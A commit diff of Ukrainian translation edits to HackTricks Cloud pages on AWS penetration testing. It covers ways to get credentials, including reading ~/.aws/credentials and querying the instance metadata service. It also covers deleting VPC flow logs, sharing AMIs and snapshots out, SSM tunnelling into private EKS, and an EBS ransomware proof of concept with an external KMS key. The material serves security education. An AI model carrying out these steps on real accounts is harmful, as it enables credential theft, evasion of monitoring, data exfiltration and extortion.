Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-domains

This commit is contained in:
Translator
2025-01-11 19:19:11 +00:00
parent 8fccfbf1bf
commit 91c879eb04
44 changed files with 2016 additions and 439 deletions

View File

@@ -4,9 +4,9 @@
## Основна інформація
**Перед початком тестування на проникнення** в **AWS** середовище є кілька **основних речей, які вам потрібно знати** про те, як працює AWS, щоб допомогти вам зрозуміти, що потрібно робити, як знаходити неправильні налаштування та як їх експлуатувати.
**Перед початком пентестингу** середовища **AWS** є кілька **основних речей, які вам потрібно знати** про те, як працює AWS, щоб допомогти вам зрозуміти, що потрібно робити, як знаходити неправильні налаштування та як їх експлуатувати.
Концепції, такі як ієрархія організації, IAM та інші основні концепції, пояснюються в:
Концепції, такі як ієрархія організації, IAM та інші базові концепції, пояснюються в:
{{#ref}}
aws-basic-information/
@@ -29,21 +29,21 @@ aws-basic-information/
## Методологія AWS Pentester/Red Team
Для аудиту AWS середовища дуже важливо знати: які **послуги використовуються**, що **експонується**, хто має **доступ** до чого, і як внутрішні AWS послуги та **зовнішні послуги** з'єднані.
Для аудиту середовища AWS дуже важливо знати: які **послуги використовуються**, що **експонується**, хто має **доступ** до чого, і як внутрішні AWS послуги та **зовнішні послуги** з'єднані.
З точки зору Red Team, **перший крок до компрометації AWS середовища** - це отримати деякі **облікові дані**. Ось кілька ідей, як це зробити:
З точки зору Red Team, **перший крок до компрометації середовища AWS** - це отримати деякі **облікові дані**. Ось кілька ідей, як це зробити:
- **Витоки** в github (або подібних) - OSINT
- **Соціальна** інженерія
- Повторне використання **паролів** (витоки паролів)
- Вразливості в AWS-розміщених додатках
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) з доступом до метаданих
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) з доступом до метаданих
- **Читання локальних файлів**
- `/home/USERNAME/.aws/credentials`
- `C:\Users\USERNAME\.aws\credentials`
- 3-ті сторони **зламані**
- **Внутрішній** працівник
- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)облікові дані
- **Внутрішній** співробітник
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)облікові дані
Або шляхом **компрометації неавтентифікованої служби**, що експонується:
@@ -67,12 +67,12 @@ aws-permissions-for-a-pentest.md
Якщо ви знайшли SSRF на машині всередині AWS, перевірте цю сторінку для трюків:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
### Whoami
Однією з перших речей, які вам потрібно знати, є те, хто ви є (в якому обліковому записі ви знаходитесь та інша інформація про AWS середовище):
Однією з перших речей, які вам потрібно знати, є те, хто ви (в якому обліковому записі ви знаходитесь та інша інформація про середовище AWS):
```bash
# Easiest way, but might be monitored?
aws sts get-caller-identity
@@ -92,18 +92,18 @@ curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic
> Зверніть увагу, що компанії можуть використовувати **canary tokens** для виявлення, коли **токени крадуться та використовуються**. Рекомендується перевірити, чи є токен canary token, перш ніж його використовувати.\
> Для отримання додаткової інформації [**перевірте цю сторінку**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
### Перерахування організацій
### Org Enumeration
{{#ref}}
aws-services/aws-organizations-enum.md
{{#endref}}
### Перерахування IAM
### IAM Enumeration
Якщо у вас достатньо прав, **перевірка привілеїв кожної сутності всередині облікового запису AWS** допоможе вам зрозуміти, що ви та інші ідентичності можете робити і як **підвищити привілеї**.
Якщо у вас достатньо прав, **перевірка привілеїв кожної сутності в обліковому записі AWS** допоможе вам зрозуміти, що ви та інші ідентичності можете робити і як **підвищити привілеї**.
Якщо у вас недостатньо прав для перерахування IAM, ви можете **викрасти їх за допомогою брутфорсу**, щоб їх виявити.\
Перевірте **як виконати перерахування та брутфорс** в:
Якщо у вас недостатньо прав для перерахунку IAM, ви можете **викрасти їх за допомогою брутфорсу**, щоб їх виявити.\
Перевірте **як виконати нумерацію та брутфорс** в:
{{#ref}}
aws-services/aws-iam-enum.md
@@ -111,17 +111,17 @@ aws-services/aws-iam-enum.md
> [!NOTE]
> Тепер, коли ви **маєте деяку інформацію про свої облікові дані** (і якщо ви червона команда, сподіваюся, ви **не були виявлені**). Час з'ясувати, які сервіси використовуються в середовищі.\
> У наступному розділі ви можете перевірити деякі способи **перерахування деяких загальних сервісів.**
> У наступному розділі ви можете перевірити деякі способи **перерахунку деяких загальних сервісів.**
## Перерахування сервісів, пост-експлуатація та стійкість
## Services Enumeration, Post-Exploitation & Persistence
AWS має вражаючу кількість сервісів, на наступній сторінці ви знайдете **основну інформацію, перерахування** шпаргалок\*\*,\*\* як **уникнути виявлення**, отримати **стійкість** та інші **пост-експлуатаційні** трюки про деякі з них:
AWS має вражаючу кількість сервісів, на наступній сторінці ви знайдете **базову інформацію, нумерацію** cheatsheets\*\*,\*\* як **уникнути виявлення**, отримати **постійність** та інші **післяексплуатаційні** трюки про деякі з них:
{{#ref}}
aws-services/
{{#endref}}
Зверніть увагу, що вам **не потрібно** виконувати всю роботу **вручну**, нижче в цьому пості ви можете знайти **розділ про** [**автоматичні інструменти**](./#automated-tools).
Зверніть увагу, що вам **не потрібно** виконувати всю роботу **вручну**, нижче в цьому пості ви можете знайти **розділ про** [**автоматичні інструменти**](#automated-tools).
Більше того, на цьому етапі ви могли виявити **більше сервісів, доступних для неавтентифікованих користувачів**, ви можете мати можливість їх експлуатувати:
@@ -129,43 +129,43 @@ aws-services/
aws-unauthenticated-enum-access/
{{#endref}}
## Підвищення привілеїв
## Privilege Escalation
Якщо ви можете **перевірити принаймні свої власні права** на різні ресурси, ви могли б **перевірити, чи можете ви отримати додаткові права**. Вам слід зосередитися принаймні на правах, вказаних у:
Якщо ви можете **перевірити принаймні свої власні права** на різні ресурси, ви могли б **перевірити, чи можете ви отримати додаткові права**. Вам слід зосередитися принаймні на правах, зазначених у:
{{#ref}}
aws-privilege-escalation/
{{#endref}}
## Публічно доступні сервіси
## Publicly Exposed Services
Під час перерахування сервісів AWS ви могли знайти деякі з них, **які відкривають елементи в Інтернет** (порти VM/контейнерів, бази даних або сервіси черг, знімки або кошики...).\
Як пентестер/червона команда, ви завжди повинні перевіряти, чи можете ви знайти **чутливу інформацію / вразливості** на них, оскільки вони можуть надати вам **додатковий доступ до облікового запису AWS**.
Під час перерахунку сервісів AWS ви могли знайти деякі з них, **які відкривають елементи в Інтернеті** (порти VM/контейнерів, бази даних або сервіси черг, знімки або кошики...).\
Як pentester/red teamer, ви завжди повинні перевіряти, чи можете ви знайти **чутливу інформацію / вразливості** на них, оскільки вони можуть надати вам **додатковий доступ до облікового запису AWS**.
У цій книзі ви повинні знайти **інформацію** про те, як знайти **відкриті сервіси AWS та як їх перевірити**. Щодо того, як знайти **вразливості у відкритих мережевих сервісах**, я б рекомендував вам **шукати** конкретний **сервіс** в:
{{#ref}}
https://book.hacktricks.xyz/
https://book.hacktricks.wiki/
{{#endref}}
## Компрометація організації
## Compromising the Organization
### З облікового запису root/управління
### From the root/management account
Коли обліковий запис управління створює нові облікові записи в організації, у новому обліковому записі створюється **нова роль**, за замовчуванням називана **`OrganizationAccountAccessRole`** та надає політику **AdministratorAccess** обліковому запису **управління** для доступу до нового облікового запису.
Коли обліковий запис управління створює нові облікові записи в організації, у новому обліковому записі створюється **нова роль**, за замовчуванням називана **`OrganizationAccountAccessRole`**, і надається політика **AdministratorAccess** для **облікового запису управління** для доступу до нового облікового запису.
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
Отже, для доступу як адміністратор до дочірнього облікового запису вам потрібно:
Отже, щоб отримати доступ як адміністратор до дочірнього облікового запису, вам потрібно:
- **Компрометувати** обліковий запис **управління** та знайти **ID** **дочірніх облікових записів** та **імена** **ролі** (за замовчуванням OrganizationAccountAccessRole), що дозволяє обліковому запису управління отримати доступ як адміністратор.
- **Скомпрометувати** **управлінський** обліковий запис і знайти **ID** **дочірніх облікових записів** та **імена** **ролі** (за замовчуванням OrganizationAccountAccessRole), що дозволяє обліковому запису управління отримати доступ як адміністратор.
- Щоб знайти дочірні облікові записи, перейдіть до розділу організацій у консолі aws або виконайте `aws organizations list-accounts`
- Ви не можете знайти назви ролей безпосередньо, тому перевірте всі користувацькі політики IAM і шукайте будь-які, що дозволяють **`sts:AssumeRole` над раніше виявленими дочірніми обліковими записами**.
- **Компрометувати** **принципала** в обліковому записі управління з **дозволом `sts:AssumeRole` над роллю в дочірніх облікових записах** (навіть якщо обліковий запис дозволяє будь-кому з облікового запису управління видавати себе, оскільки це зовнішній обліковий запис, специфічні дозволи `sts:AssumeRole` є необхідними).
- **Скомпрометувати** **принципала** в управлінському обліковому записі з **дозволом `sts:AssumeRole` над роллю в дочірніх облікових записах** (навіть якщо обліковий запис дозволяє будь-кому з управлінського облікового запису видавати себе, оскільки це зовнішній обліковий запис, специфічні дозволи `sts:AssumeRole` є необхідними).
## Автоматизовані інструменти
## Automated Tools
### Рекон
### Recon
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Багатопотоковий інструмент для збору **інвентаризації**, орієнтований на безпеку AWS, написаний на Ruby.
```bash
@@ -178,7 +178,7 @@ AWS_PROFILE=<profile> aws_recon \
--regions global,us-east-1,us-east-2 \
--verbose
```
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist є **інструментом для багатьох хмар для отримання активів** (імен хостів, IP-адрес) від постачальників хмар.
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist є **інструментом для багатохмарного отримання активів** (імен хостів, IP-адрес) від постачальників хмар.
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper допомагає вам аналізувати ваші середовища Amazon Web Services (AWS). Тепер він містить набагато більше функцій, включаючи аудит на предмет проблем безпеки.
```bash
# Installation steps in github
@@ -224,7 +224,7 @@ python3 cloudmapper.py public --accounts dev
python cloudmapper.py prepare #Prepare webserver
python cloudmapper.py webserver #Show webserver
```
- [**cartography**](https://github.com/lyft/cartography): Cartography - це інструмент на Python, який об'єднує інфраструктурні активи та відносини між ними в інтуїтивно зрозумілому графічному вигляді, що працює на базі бази даних Neo4j.
- [**cartography**](https://github.com/lyft/cartography): Cartography - це інструмент на Python, який об'єднує інфраструктурні активи та відносини між ними в інтуїтивно зрозумілому графічному вигляді, що працює на базі Neo4j.
```bash
# Install
pip install cartography
@@ -233,14 +233,14 @@ pip install cartography
# Get AWS info
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
```
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase збирає активи та взаємозв'язки з сервісів та систем, включаючи хмарну інфраструктуру, SaaS-додатки, засоби безпеки та інше в інтуїтивно зрозумілому графічному вигляді, підтримуваному базою даних Neo4j.
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase збирає активи та зв'язки з сервісів та систем, включаючи хмарну інфраструктуру, SaaS додатки, засоби безпеки та інше в інтуїтивно зрозумілому графічному вигляді, підтримуваному базою даних Neo4j.
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Використовує python2) Це інструмент, який намагається **виявити всі** [**ресурси AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource), створені в обліковому записі.
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Це інструмент для **отримання всіх публічних IP-адрес** (як IPv4, так і IPv6), пов'язаних з обліковим записом AWS.
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Це інструмент для **отримання всіх публічних IP-адрес** (як IPv4/IPv6), пов'язаних з обліковим записом AWS.
### Privesc & Exploiting
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Виявляє найбільш привілейованих користувачів у сканованому середовищі AWS, включаючи AWS Shadow Admins. Він використовує powershell. Ви можете знайти **визначення привілейованих політик** у функції **`Check-PrivilegedPolicy`** в [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu - це відкритий **фреймворк експлуатації AWS**, призначений для тестування наступальних заходів безпеки проти хмарних середовищ. Він може **перераховувати**, знаходити **неправильні конфігурації** та **експлуатувати** їх. Ви можете знайти **визначення привілейованих дозволів** в [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) всередині словника **`user_escalation_methods`**.
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Виявляє найбільш привілейованих користувачів у відсканованому середовищі AWS, включаючи AWS Shadow Admins. Він використовує powershell. Ви можете знайти **визначення привілейованих політик** у функції **`Check-PrivilegedPolicy`** в [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu - це відкритий **фреймворк експлуатації AWS**, розроблений для тестування безпеки в наступальних цілях проти хмарних середовищ. Він може **перераховувати**, знаходити **неправильні конфігурації** та **експлуатувати** їх. Ви можете знайти **визначення привілейованих дозволів** в [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) всередині словника **`user_escalation_methods`**.
- Зверніть увагу, що pacu **перевіряє лише ваші власні шляхи privesc** (не в межах облікового запису).
```bash
# Install
@@ -255,7 +255,7 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) - це скрипт і бібліотека для виявлення ризиків у конфігурації AWS Identity and Access Management (IAM) для облікового запису AWS або організації AWS. Він моделює різних IAM Users та Roles в обліковому записі як орієнтований граф, що дозволяє перевіряти **підвищення привілеїв** та альтернативні шляхи, якими зловмисник може отримати доступ до ресурсу або дії в AWS. Ви можете перевірити **дозволи, використані для знаходження шляхів privesc** у файлах, що закінчуються на `_edges.py` в [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) - це скрипт і бібліотека для виявлення ризиків у конфігурації AWS Identity and Access Management (IAM) для облікового запису AWS або організації AWS. Він моделює різних IAM користувачів і ролей в обліковому записі як орієнтований граф, що дозволяє перевіряти **підвищення привілеїв** та альтернативні шляхи, якими зловмисник може отримати доступ до ресурсу або дії в AWS. Ви можете перевірити **дозволи, використані для знаходження шляхів privesc**, у файлах, що закінчуються на `_edges.py` в [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
```bash
# Install
pip install principalmapper
@@ -278,7 +278,7 @@ pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining - це інструмент оцінки безпеки AWS IAM, який виявляє порушення принципу найменших привілеїв і генерує звіт у форматі HTML з пріоритетом ризику.\
Він покаже вам потенційно **переповнені** права доступу клієнта, вбудовані та aws **політики** та які **принципи мають доступ до них**. (Він не лише перевіряє на privesc, але й інші цікаві дозволи, рекомендовано використовувати).
Він покаже вам потенційно **переповнені привілеї** клієнта, вбудовані та aws **політики** та які **принципи мають доступ до них**. (Він не тільки перевіряє на privesc, але й інші цікаві дозволи, рекомендовано використовувати).
```bash
# Install
pip install cloudsplaining
@@ -291,7 +291,7 @@ cloudsplaining download --profile dev
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack оцінює облікові записи AWS на наявність **вразливостей перехоплення піддоменів** внаслідок розділених конфігурацій Route53 та CloudFront.
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Список репозиторіїв ECR -> Витягти репозиторій ECR -> Задній доступ -> Завантажити зламаний образ
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Список репозиторіїв ECR -> Завантажити репозиторій ECR -> Встановити бекдор -> Завантажити з бекдором зображення
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag - це інструмент, який **шукає** через публічні знімки Elastic Block Storage (**EBS**) на наявність секретів, які могли бути випадково залишені.
### Аудит
@@ -318,7 +318,7 @@ prowler aws --profile custom-profile [-M csv json json-asff html]
```bash
cloudfox aws --profile [profile-name] all-checks
```
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite - це інструмент для аудиту безпеки в мульти-хмарному середовищі з відкритим кодом, який дозволяє оцінювати безпекову позицію хмарних середовищ.
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite - це інструмент для аудиту безпеки в мульти-хмарних середовищах з відкритим кодом, який дозволяє оцінювати безпекову позицію хмарних середовищ.
```bash
# Install
virtualenv -p python3 venv
@@ -335,8 +335,8 @@ scout aws -p dev
### Постійний аудит
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian - це механізм правил для управління обліковими записами та ресурсами публічного хмари. Він дозволяє користувачам **визначати політики для забезпечення добре керованої хмарної інфраструктури**, яка є як безпечною, так і оптимізованою за витратами. Він консолідує багато з тих випадкових скриптів, які мають організації, в легкий і гнучкий інструмент з єдиними метриками та звітністю.
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** - це платформа для **безперервного моніторингу відповідності, звітності про відповідність та автоматизації безпеки для хмари**. У PacBot політики безпеки та відповідності реалізовані як код. Всі ресурси, виявлені PacBot, оцінюються відповідно до цих політик для оцінки відповідності політикам. Рамки **автоматичного виправлення** PacBot надають можливість автоматично реагувати на порушення політик, вживаючи попередньо визначені дії.
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert - це безсерверна, **реальна** система аналізу даних, яка дозволяє вам **інтегрувати, аналізувати та сповіщати** про дані з будь-якого середовища, **використовуючи джерела даних та логіку сповіщення, які ви визначаєте**. Команди комп'ютерної безпеки використовують StreamAlert для сканування терабайтів журналів щодня для виявлення інцидентів та реагування.
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** - це платформа для **безперервного моніторингу відповідності, звітності про відповідність та автоматизації безпеки для хмари**. У PacBot політики безпеки та відповідності реалізуються як код. Всі ресурси, виявлені PacBot, оцінюються відповідно до цих політик для оцінки відповідності політикам. Рамка **автоматичного виправлення** PacBot надає можливість автоматично реагувати на порушення політик, вживаючи попередньо визначені дії.
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert - це безсерверна, **реальна** система аналізу даних, яка дозволяє вам **збирати, аналізувати та сповіщати** про дані з будь-якого середовища, **використовуючи джерела даних та логіку сповіщення, які ви визначаєте**. Команди комп'ютерної безпеки використовують StreamAlert для сканування терабайтів журналів щодня для виявлення інцидентів та реагування.
## DEBUG: Захоплення запитів AWS cli
```bash

View File

@@ -4,17 +4,17 @@
## SAML
Для отримання інформації про SAML, будь ласка, перевірте:
Для отримання інформації про SAML, будь ласка, перегляньте:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/saml-attacks
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
{{#endref}}
Щоб налаштувати **федерацію ідентичності через SAML**, вам потрібно лише надати **ім'я** та **метадані XML**, що містять усю конфігурацію SAML (**кінцеві точки**, **сертифікат** з відкритим ключем)
Щоб налаштувати **федерацію особи через SAML**, вам потрібно лише вказати **ім'я** та **метадані XML**, що містять усю конфігурацію SAML (**кінцеві точки**, **сертифікат** з відкритим ключем)
## OIDC - Зловживання GitHub Actions
Щоб додати дію GitHub як постачальника ідентичності:
Щоб додати дію GitHub як постачальника ідентифікації:
1. Для _Типу постачальника_ виберіть **OpenID Connect**.
2. Для _URL постачальника_ введіть `https://token.actions.githubusercontent.com`
@@ -45,7 +45,7 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks
}
```
6. Зверніть увагу в попередній політиці, як лише **гілка** з **репозиторію** **організації** була авторизована з конкретним **тригером**.
7. **ARN** ролі, яку дія GitHub зможе **використовувати**, буде "секретом", який дія GitHub повинна знати, тому **зберігайте** його в **секреті** всередині **середовища**.
7. **ARN** **ролі**, яку дія GitHub зможе **використовувати**, буде "секретом", який дія GitHub повинна знати, тому **зберігайте** його в **секреті** всередині **середовища**.
8. Нарешті, використовуйте дію GitHub для налаштування облікових даних AWS, які будуть використовуватися робочим процесом:
```yaml
name: "test AWS Access"
@@ -88,7 +88,7 @@ eksctl create cluster --name demo --fargate
# Create an Identity Provider for an EKS cluster
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
```
Можливо створити **OIDC providers** у кластері **EKS**, просто встановивши **OIDC URL** кластера як **нового постачальника ідентичності Open ID**. Це звичайна стандартна політика:
Можливо створити **OIDC providers** у кластері **EKS**, просто встановивши **OIDC URL** кластера як **нового постачальника ідентичності Open ID**. Це загальна стандартна політика:
```json
{
"Version": "2012-10-17",

View File

@@ -1,4 +1,4 @@
# AWS - EC2, EBS, SSM & VPC Постексплуатація
# AWS - EC2, EBS, SSM & VPC Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
```
### EBS Snapshot dump
**Снапшоти є резервними копіями томів**, які зазвичай міститимуть **чутливу інформацію**, тому їх перевірка повинна розкрити цю інформацію.\
Якщо ви знайдете **том без снапшота**, ви можете: **Створити снапшот** і виконати наступні дії або просто **підключити його до екземпляра** в обліковому записі:
**Снімки є резервними копіями томів**, які зазвичай міститимуть **чутливу інформацію**, тому їх перевірка повинна розкрити цю інформацію.\
Якщо ви знайдете **том без снімка**, ви можете: **Створити снімок** і виконати наступні дії або просто **підключити його до екземпляра** в обліковому записі:
{{#ref}}
aws-ebs-snapshot-dump.md
@@ -60,7 +60,7 @@ aws-ebs-snapshot-dump.md
#### DNS Exfiltration
Навіть якщо ви заблокуєте EC2, щоб жоден трафік не міг вийти, він все ще може **екстрагуватися через DNS**.
Навіть якщо ви заблокуєте EC2, щоб жоден трафік не міг вийти, він все ще може **екстрагувати дані через DNS**.
- **VPC Flow Logs не зафіксують це**.
- У вас немає доступу до AWS DNS журналів.
@@ -74,7 +74,7 @@ aws-ebs-snapshot-dump.md
### Open Security Group
Ви можете отримати подальший доступ до мережевих сервісів, відкривши порти таким чином:
Ви можете отримати подальший доступ до мережевих служб, відкривши порти таким чином:
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
@@ -83,7 +83,7 @@ aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --por
Можливо запустити EC2 екземпляр і зареєструвати його для використання для запуску ECS екземплярів, а потім вкрасти дані ECS екземплярів.
Для [**додаткової інформації перевірте це**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
Для [**додаткової інформації перегляньте це**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
### Remove VPC flow logs
```bash
@@ -104,9 +104,9 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
3. Отримайте тимчасові облікові дані Bastion EC2 AWS за допомогою скрипта [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment)
3. Отримайте тимчасові облікові дані Bastion EC2 AWS за допомогою скрипта [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
4. Перенесіть облікові дані на свій комп'ютер у файл `$HOME/.aws/credentials` як профіль `[bastion-ec2]`
5. Увійдіть до EKS як Bastion EC2:
5. Увійдіть в EKS як Bastion EC2:
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
```
@@ -115,13 +115,13 @@ aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --
```shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
```
8. Трафік з інструменту `kubectl` тепер перенаправляється через тунель SSM через Bastion EC2, і ви можете отримати доступ до приватного EKS кластера з вашого власного комп'ютера, запустивши:
8. Трафік з інструменту `kubectl` тепер перенаправляється через тунель SSM через Bastion EC2, і ви можете отримати доступ до приватного EKS кластера з вашої власної машини, запустивши:
```shell
kubectl get pods --insecure-skip-tls-verify
```
Зверніть увагу, що SSL-з'єднання не вдасться встановити, якщо ви не встановите прапорець `--insecure-skip-tls-verify` (або його еквівалент у K8s audit tools). Оскільки трафік тунелюється через безпечний AWS SSM тунель, ви захищені від будь-яких атак MitM.
Нарешті, ця техніка не є специфічною для атак на приватні EKS кластери. Ви можете встановити довільні домени та порти для переходу до будь-якої іншої служби AWS або до власного застосунку.
Нарешті, ця техніка не є специфічною для атак на приватні EKS кластери. Ви можете встановити довільні домени та порти для переходу до будь-якої іншої служби AWS або до власного додатку.
### Share AMI
```bash
@@ -129,7 +129,7 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
```
### Пошук чутливої інформації в публічних та приватних AMI
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel - це інструмент, призначений для **пошуку чутливої інформації в публічних або приватних образах машин Amazon (AMIs)**. Він автоматизує процес запуску екземплярів з цільових AMI, монтування їх томів та сканування на наявність потенційних секретів або чутливих даних.
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel - це інструмент, призначений для **пошуку чутливої інформації в публічних або приватних образах Amazon Machine Images (AMIs)**. Він автоматизує процес запуску екземплярів з цільових AMI, монтування їхніх томів та сканування на наявність потенційних секретів або чутливих даних.
### Поділитися знімком EBS
```bash
@@ -137,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
```
### EBS Ransomware PoC
Доказ концепції, подібний до демонстрації Ransomware, показаної в нотатках з пост-експлуатації S3. KMS слід перейменувати на RMS для Ransomware Management Service, враховуючи, як легко його використовувати для шифрування різних сервісів AWS.
Доказ концепції, подібний до демонстрації Ransomware, показаної в нотатках з пост-експлуатації S3. KMS слід перейменувати на RMS для Ransomware Management Service через те, як легко його використовувати для шифрування різних сервісів AWS.
Спочатку з облікового запису 'атакуючого' AWS створіть ключ, керований клієнтом, у KMS. Для цього прикладу ми просто дозволимо AWS керувати даними ключа, але в реалістичному сценарії зловмисник зберігатиме дані ключа поза контролем AWS. Змініть політику ключа, щоб дозволити будь-якому обліковому запису AWS Principal використовувати ключ. Для цієї політики ключа ім'я облікового запису було 'AttackSim', а правило політики, що дозволяє весь доступ, називається 'Outside Encryption'
Спочатку з облікового запису 'атакуючого' AWS створіть ключ, керований користувачем, у KMS. Для цього прикладу ми просто дозволимо AWS керувати даними ключа, але в реалістичному сценарії зловмисник зберіг би дані ключа поза контролем AWS. Змініть політику ключа, щоб дозволити будь-якому Principal облікового запису AWS використовувати ключ. Для цієї політики ключа ім'я облікового запису було 'AttackSim', а правило політики, що дозволяє весь доступ, називається 'Outside Encryption'
```
{
"Version": "2012-10-17",
@@ -231,7 +231,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
]
}
```
Правило політики ключа потребує активації наступних параметрів, щоб дозволити його використання для шифрування обсягу EBS:
Правило політики ключа потребує активації наступних дозволів, щоб мати можливість використовувати його для шифрування обсягу EBS:
- `kms:CreateGrant`
- `kms:Decrypt`
@@ -239,17 +239,17 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
Тепер, маючи публічно доступний ключ для використання. Ми можемо використовувати обліковий запис 'жертви', в якому запущені деякі EC2 екземпляри з прикріпленими нешифрованими обсягами EBS. Обсяги EBS цього 'жертви' є нашою метою для шифрування, ця атака здійснюється за припущенням про злом облікового запису AWS з високими привілеями.
Тепер, маючи публічно доступний ключ для використання. Ми можемо використовувати обліковий запис 'жертви', в якому запущено кілька екземплярів EC2 з прикріпленими нешифрованими обсягами EBS. Обсяги EBS цього 'жертви' є нашою ціллю для шифрування, ця атака здійснюється за припущенням про злом облікового запису AWS з високими привілеями.
![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
